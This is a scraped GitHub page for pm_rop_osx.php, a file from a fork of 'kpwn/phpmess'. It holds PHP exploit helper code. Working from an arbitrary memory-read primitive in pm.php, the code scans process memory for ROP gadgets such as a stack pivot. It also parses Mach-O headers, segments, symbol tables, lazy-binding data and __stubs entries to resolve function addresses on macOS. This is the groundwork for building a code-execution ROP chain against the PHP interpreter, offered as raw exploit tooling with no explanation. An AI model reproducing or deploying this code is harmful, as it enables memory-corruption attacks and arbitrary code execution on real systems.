forked from kpwn/phpmess
/
pm_rop_osx.php
145 lines (139 loc) · 3.08 KB
/
pm_rop_osx.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
<?
require_once('pm.php');
require_once('pm_rop_findexec_osx.php');
function gadget($addr,$gdgt) {
$k=map($addr, 0x300000)[0];
return $addr+(strpos($k,hex2bin($gdgt)));
}
function stackPivot($addr) {
return gadget($addr,"500100005b415c415e415f5dc3");
}
function swapEndianness($hex) {
return implode('', array_reverse(str_split($hex, 2)));
}
function r64($addr) {
$n=read($addr,8);
$val=hexdec(swapEndianness(bin2hex($n)));
return $val;
}
function r32($addr) {
$n=read($addr,4);
$val=hexdec(swapEndianness(bin2hex($n)));
return $val;
}
function rstr($addr) {
$m=read($addr,0x300);
$rt=substr($m,0,(strpos($m,"\0")));
return $rt;
}
function r64_map($map,$off) {
return r64($map['ptr']+$off);
}
function r32_map($map,$off) {
return r32($map['ptr']+$off);
}
function rstr_map($map,$off) {
return rstr($map['ptr']+$off);
}
function findsgmt($mh,$segname) {
$lc=$mh+32;
while ($lc < ($mh + r32($mh+20))) {
if(r32($lc) == 0x19) {
if($segname == rstr($lc+8)) {
return $lc;
}
}
$lc+=r32($lc+4);
}
return FALSE;
}
function findsect($sgmt, $name) {
$sect=$sgmt+72;
$i=0;
while($i < r32($sgmt+64)) {
if($name==rstr($sect)) return $sect;
$sect+=80;
$i++;
}
return FALSE;
}
function getlazybind($mh) {
$lc=$mh+32;
while ($lc < ($mh + r32($mh+20))) {
if(r32($lc) == 0x80000022 /*LC_DYLD_INFO_ONLY*/) {
$sgmt=findsgmt($mh,"__LINKEDIT");
$sgmt=r64($sgmt+0x18) & 0xffffffff;
$sgmt=0x1D000;
return [r32($lc+0x20)+$sgmt,r32($lc+0x24)];
}
$lc+=r32($lc+4);
}
return FALSE;
}
function findlazysym($mh,$name) {
$w=getlazybind($mh);
$i=0;
for($by=0; $by<$w[1]; $i++) {
$kv=rstr($mh + $w[0] + $by + 5);
if(!ctype_print($kv)) {$i--; continue;}
if($name==$kv)return $i;
$by+=strlen($kv)+8;
}
return FALSE;
}
function getsymtabsym($mh,$name) {
if(r32($mh) == 0xFEEDFACF){
$lc=$mh+32;
while ($lc < ($mh + r32($mh+20))) {
if(r32($lc) == 0x2) {
$symoff=r32(8+$lc)+0x1D000+$mh;
$nsyms=r32(12+$lc);
$stroff=r32(16+$lc)+4+0x1D000+$mh;
$strsize=r32(20+$lc);
$k=0;
for($i=0;$k<$nsyms;$i++) {
$st=rstr($stroff+$k);
if($st == $name) {
$nlist=$symoff+($i*16);
$val=r64($nlist+8) & 0xFFFFFFFF + $mh;
return $val;
}
$k+=strlen($st)+1;
}
}
$lc+=r32($lc+4);
}
}
return FALSE;
}
function getexport($mh,$name) {
if(!$mh) return FALSE;
if(r32($mh) == 0xFEEDFACF){
$idx=getsymtabsym($mh,$name);
if ($idx) return $idx;
}
}
function getplt($mh,$name) {
if(!$mh) return FALSE;
if(r32($mh) == 0xFEEDFACF){
$sgmt=findsgmt($mh,"__TEXT");
if($sgmt===FALSE) return FALSE;
$sect=(r32(findsect($sgmt,"__stubs")+0x30));
$sect+=$mh;
$idx=findlazysym($mh,$name);
if($idx === FALSE) {
return FALSE;
}
return $sect+(($idx)*6);
}
return FALSE;
}
function findmhfromaddr($a) {
$a=$a&(~0xFF);
for($i=0;$i<0x1000000;$i++) {
if(r32($a) == 0xFEEDFACF) return $a;
$a-=0x100;
}
return FALSE;
}
?>